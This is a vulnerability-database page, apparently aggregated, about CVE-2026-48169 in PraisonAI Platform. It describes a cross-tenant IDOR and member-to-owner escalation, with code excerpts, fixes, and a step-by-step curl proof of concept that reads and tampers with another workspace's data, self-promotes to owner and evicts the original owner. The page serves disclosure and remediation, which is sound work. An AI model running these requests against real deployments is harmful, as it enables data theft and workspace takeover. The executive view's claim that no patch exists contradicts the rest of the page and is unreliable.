Skip to main content

PraisonAI Platform CVE-2026-48169

| EUVDEUVD-2026-54685 HIGH
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-05-29 https://github.com/MervinPraison/PraisonAI GHSA-gv23-xrm3-8c62 PYSEC-2026-2935
8.8
CVSS 3.1 · Vendor: https://github.com/MervinPraison/PraisonAI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register or accept invite to any workspace
  2. Delivery
    Obtain target issue/project UUID
  3. Exploit
    Send GET/PATCH/DELETE to /workspaces/{own_ws}/issues/{victim_uuid}
  4. Install
    Exfiltrate or tamper cross-tenant data
  5. C2
    PATCH /workspaces/{target_ws}/members/{self} role=owner
  6. Execute
    DELETE original owner
  7. Impact
    Sole ownership of target workspace

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
Exploitation Conditions

Attacker must hold a valid authenticated session on the PraisonAI Platform instance - any account with membership in any single workspace is sufficient (PR:L). For the IDOR half, the attacker also needs the UUID of a target issue or project, which can be obtained through enumeration, leaked URLs, or prior access. For the workspace-takeover half, the attacker must already be a member (any role, including the lowest "member" role) of the specific workspace they want to take over; the platform's default member-management routes use min_role="member" and lack self-modification, upward-escalation, and last-owner guards. No user interaction by the victim is required, no non-default configuration is needed (the PoC explicitly states "default configuration, no special configuration required"), and the attack works against any reachable instance over HTTP(S). Limiting factors: unauthenticated outsiders cannot exploit either flaw, and workspace takeover specifically requires that the attacker has already been invited to the target workspace.

Impact

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the real-world risk: network-reachable API, low complexity, only a low-privilege authenticated account (any workspace member) required, no user interaction, and full CIA impact across tenants. EPSS and KEV signals were not provided in the input, so probability of mass exploitation cannot be quantified, but no public exploit identified at time of analysis beyond the advisory PoC. The decisive risk factor is the multi-tenant nature of the product - any SaaS deployment of praisonai-platform that hosts more than one customer or team in the same instance should treat this as a priority-1 issue, while single-tenant self-hosted instances where every authenticated user is already trusted face materially lower exposure. The PR:L requirement is the main limiter, but on platforms with open registration or generous invite flows it is effectively no barrier.

Exploit ScenarioDerived

An attacker registers any account on a shared PraisonAI Platform instance (or accepts a member invite to any single workspace), enumerates or guesses an issue/project UUID belonging to another tenant, and issues GET/PATCH/DELETE against /api/v1/workspaces/{their_own_ws_id}/issues/{victim_issue_id} to read or tamper with confidential data across the tenant boundary. If they additionally hold any member-level invite to a target workspace, they PATCH /workspaces/{ws}/members/{their_id} with {"role":"owner"}, then DELETE the original owner, locking the legitimate owner out. The advisory ships a complete working cURL PoC for both halves of the chain.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Cross-workspace IDOR and member-to-owner privilege escalation in PraisonAI Platform API (pip package praisonai-platform <= 0.1.2) lets any authenticated user read, modify, and delete issues and projects belonging to other tenants, and lets any workspace member promote themselves to owner and evict the legitimate owner. The two flaws chain together: a single member-level invite to any workspace becomes platform-wide data access plus full takeover of any workspace the attacker is added to. No public exploit identified at time of analysis beyond the detailed PoC published in the GHSA advisory, and the issue is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade praisonai-platform to 0.1.4 or later (pip install -U praisonai-platform>=0.1.4), per the GHSA advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62. If immediate upgrade is not possible, apply the maintainer-suggested code fixes locally: scope IssueService and ProjectService get/update/delete to workspace_id by adding an issue.workspace_id != workspace_id check after session.get, pass workspace_id from the routes into those service calls, and change the member-management routes in workspaces.py to depend on require_workspace_member with min_role="owner" plus explicit self-modification and last-owner guards. As a compensating control until patched, restrict the API to trusted internal users only (network ACL or auth proxy in front of /api/v1), disable open user registration on /auth/register, and freeze workspace invitations so no new low-privilege members can be added - the trade-off is loss of self-service onboarding and any legitimate cross-tenant collaboration. Audit existing issues, projects, and workspace membership/role rows for unexpected modifications before re-opening access.

Affected VersionsENISA

praisonai-platform < 0.1.4

Affected Packages

pypi praisonai-platform fix: 0.1.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI Platform is a Python/FastAPI multi-tenant SaaS-style backend (CPE pkg:pip/praisonai-platform) where tenancy is enforced at the route layer through a require_workspace_member dependency that extracts workspace_id from the URL and verifies membership. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): IssueService.get/update/delete and ProjectService.get/update/delete/get_stats call SQLAlchemy session.get(Model, pk), a global primary-key lookup with no WHERE workspace_id filter, so the workspace path parameter is decorative. Compounding this, the same require_workspace_member dependency exposes a min_role parameter with a working owner > admin > member hierarchy in MemberService.has_role, but every member-management route in workspaces.py uses the default min_role="member" and omits self-modification, upward-escalation, modifying-superiors, and last-owner guards.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MervinPraison/PraisonAI) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.

CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min_role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.

Both issues come from the same gap: the route layer pulls workspace_id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require_workspace_member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.

Details

Part 1: Cross-Workspace IDOR (Issues and Projects)

Vulnerable Files:

  • praisonai_platform/services/issue_service.py
  • praisonai_platform/services/project_service.py
  • praisonai_platform/api/routes/issues.py
  • praisonai_platform/api/routes/projects.py

There is a consistent split between the route layer and the service layer. Routes pull workspace_id from the URL and verify membership:

GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
                        ^^^^^^^^^^^^^^
                        require_workspace_member() checks this

But the service methods these routes call perform global lookups that ignore workspace_id entirely:

IssueService.get(), line 72:

python
async def get(self, issue_id: str) -> Optional[Issue]:
    """Get issue by ID."""
    return await self._session.get(Issue, issue_id)

ProjectService.get(), line 47:

python
async def get(self, project_id: str) -> Optional[Project]:
    """Get project by ID."""
    return await self._session.get(Project, project_id)

Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace_id = ? filter.

Compare that with the properly scoped list_for_workspace() methods in the same files:

IssueService.list_for_workspace(), line 76:

python
async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
    stmt = select(Issue).where(Issue.workspace_id == workspace_id)
# ... properly scoped

The listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.

Route that discards workspace_id, issues.py line 82:

python
@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
    workspace_id: str,
# Extracted from URL
    issue_id: str,
    user: AuthIdentity = Depends(require_workspace_member),
# Membership verified
    session: AsyncSession = Depends(get_db),
):
    svc = IssueService(session)
    issue = await svc.get(issue_id)
# workspace_id never passed to service

All affected operations:

ServiceMethodLineWorkspace scoped?
IssueServiceget()72No, uses session.get(Issue, issue_id)
IssueServiceupdate()97No, calls self.get(issue_id)
IssueServicedelete()150No, calls self.get(issue_id)
IssueServicelist_for_workspace()76Yes, filters by workspace_id
ProjectServiceget()47No, uses session.get(Project, project_id)
ProjectServiceupdate()62No, calls self.get(project_id)
ProjectServicedelete()88No, calls self.get(project_id)
ProjectServiceget_stats()97No, only filters by project_id
ProjectServicelist_for_workspace()51Yes, filters by workspace_id
Part 2: Workspace Takeover via Missing Role Enforcement

Vulnerable Files:

  • praisonai_platform/api/routes/workspaces.py (member management routes)
  • praisonai_platform/api/deps.py (authorization dependency)
  • praisonai_platform/services/member_service.py (role hierarchy implementation)

The authorization dependency supports role-based access:

require_workspace_member(), deps.py line 54:

python
async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
# Accepts higher roles, but nobody passes them
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)
    if not has:
        raise HTTPException(status_code=403, ...)

The has_role() method correctly implements role hierarchy:

MemberService.has_role(), member_service.py line 80:

python
async def has_role(self, workspace_id, user_id, required_role) -> bool:
    """Role hierarchy: owner > admin > member."""
    member = await self.get(workspace_id, user_id)
    if member is None:
        return False
    role_levels = {"owner": 3, "admin": 2, "member": 1}
    user_level = role_levels.get(member.role, 0)
    required_level = role_levels.get(required_role, 0)
    return user_level >= required_level

This works correctly, but no route ever calls require_workspace_member with min_role="owner" or min_role="admin". Every member management route uses the default "member":

Self-promotion, workspaces.py line 115:

python
@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
    workspace_id: str,
    user_id: str,
    body: MemberUpdate,
    user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
    session: AsyncSession = Depends(get_db),
):
    member_svc = MemberService(session)
    member = await member_svc.update_role(workspace_id, user_id, body.role)
# No check: is user modifying their own role? (self-promotion)
# No check: is body.role > caller's current role? (escalation)
# No check: is target a higher role than caller? (modifying superiors)

Owner removal, workspaces.py line 130:

python
@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
    workspace_id: str,
    user_id: str,
    user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
    ...
):
    member_svc = MemberService(session)
    removed = await member_svc.remove(workspace_id, user_id)
# No check: is target a higher role than caller?
# No check: is this the last owner?

Three checks are missing from update_member_role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove_member: role hierarchy and last-owner protection.

PoC

Prerequisites:

  • A running PraisonAI Platform instance with default configuration
  • No special configuration required

Server setup:

bash
cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000
Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

bash
BASE="http://127.0.0.1:8000/api/v1"
# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

Step 2: Attacker registers and creates their own workspace

bash
ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

bash
curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output (HTTP 200):

json
{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.

Step 4: IDOR - Attacker modifies victim's issue

bash
curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

bash
curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

bash
PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

bash
curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

bash
curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output:

json
[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact

  • Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace_id}/...) implies tenant isolation but provides none.
  • Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
  • Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
  • Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
  • No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
  • Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

---

Suggested Fix

1. Scope all service get/update/delete methods to workspace_id

python
# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue
# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace_id from routes to services

python
# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)
# Now workspace-scoped

3. Require owner role for member management and add escalation guards

python
# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)
# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")
# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")

Executive ViewAI

Why It Matters

PraisonAI Platform (pip package praisonai-platform ≤ 0.1.2) contains a critical privilege escalation and cross-tenant IDOR vulnerability that allows any authenticated workspace member to promote themselves to owner and access data across all organizational tenants. Organizations using this package risk unauthorized data modification, deletion, and complete workspace takeover by insider threats or compromised user accounts.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enforce role-based access controls to restrict workspace member permissions and disable member-to-owner promotion if platform supports administrative overrides; (2) Disable or strictly govern workspace user invitations to minimize attack surface; (3) Implement comprehensive audit logging of privilege escalation events and cross-workspace access attempts; (4) Monitor for suspicious administrative activities and unusual permission changes; (5) If platform is internet-exposed, implement network segmentation to limit lateral movement.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy